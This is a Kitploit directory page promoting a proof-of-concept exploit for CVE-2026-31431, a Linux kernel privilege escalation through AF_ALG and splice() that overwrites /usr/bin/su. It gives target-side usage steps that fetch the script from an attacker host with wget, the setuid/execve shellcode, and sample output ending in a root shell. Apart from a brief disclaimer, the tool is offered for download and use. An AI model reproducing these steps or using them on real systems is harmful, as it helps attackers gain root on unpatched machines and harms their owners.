Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
copy-fail-CVE-2026-31431-shell — PoC shell exploit for CVE-2026-31431 (copy_fail) — Linux LPE via AF_ALG + splice page-cache overwrite. Single-shot, no race condition, kernel 4.9–6.18. | Kitploit
Tools/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

PoC shell exploit for CVE-2026-31431 (copy_fail) — Linux LPE via AF_ALG + splice page-cache overwrite. Single-shot, no race condition, kernel 4.9–6.18.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
33 months agoNot yet reviewed

CVE-2026-31431 - copy_fail shell

Local privilege escalation via AF_ALG socket + splice() page-cache overwrite.

Overwrites a read-only SUID binary (/usr/bin/su) with a minimal ELF that calls setuid(0) + execve("/bin/sh"). No race condition, no per-distro offsets, single shot.

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerability

The Linux kernel's AF_ALG (crypto API) socket, combined with splice(), allows a write into a file opened O_RDONLY by manipulating the page cache. The kernel skips the write-permission check on the copy-on-write shortcut inside the ALG socket's splice path — the same class of bug as Dirty Pipe (CVE-2022-0847) but triggered via a different code path introduced in kernel 4.9.


Affected versions

Kernel rangeStatus
< 4.9Not affected (vulnerable code path not present)
4.9 – 6.18Vulnerable (~9 years, 2017–2026)
≥ 6.19Patched

Tested

DistroKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Requirements

  • Local shell on target (any privilege level)
  • gcc available on target
  • Write access to /tmp
  • x86-64 architecture

Usage

root@kitploit:~
# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

The script will:

  1. Check if the running kernel is in the vulnerable range
  2. Compile the embedded C exploit on the target (no zlib dependency)
  3. Overwrite /usr/bin/su with the root shell payload
  4. Execute it

How it works

root@kitploit:~
AF_ALG socket (AEAD)
      │
      │  sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (operation socket)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

The kernel's splice path inside the ALG socket skips the copy-on-write permission check, writing directly into the page cache of the target file despite it being opened read-only. The payload (a 160-byte ELF) is written 4 bytes at a time across 40 iterations.

Payload shellcode:

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Files

FileDescription
copy_fail_exp.shBash script — compiles and runs on target, no Python required
copy_fail_exp.pyOriginal Python version for reference
copy_fail_exp_deobfuscated.pyDeobfuscated and annotated Python version

Disclaimer

For authorized security testing and CTF/lab environments only. Do not use against systems you do not own or have explicit written permission to test.

Download Tool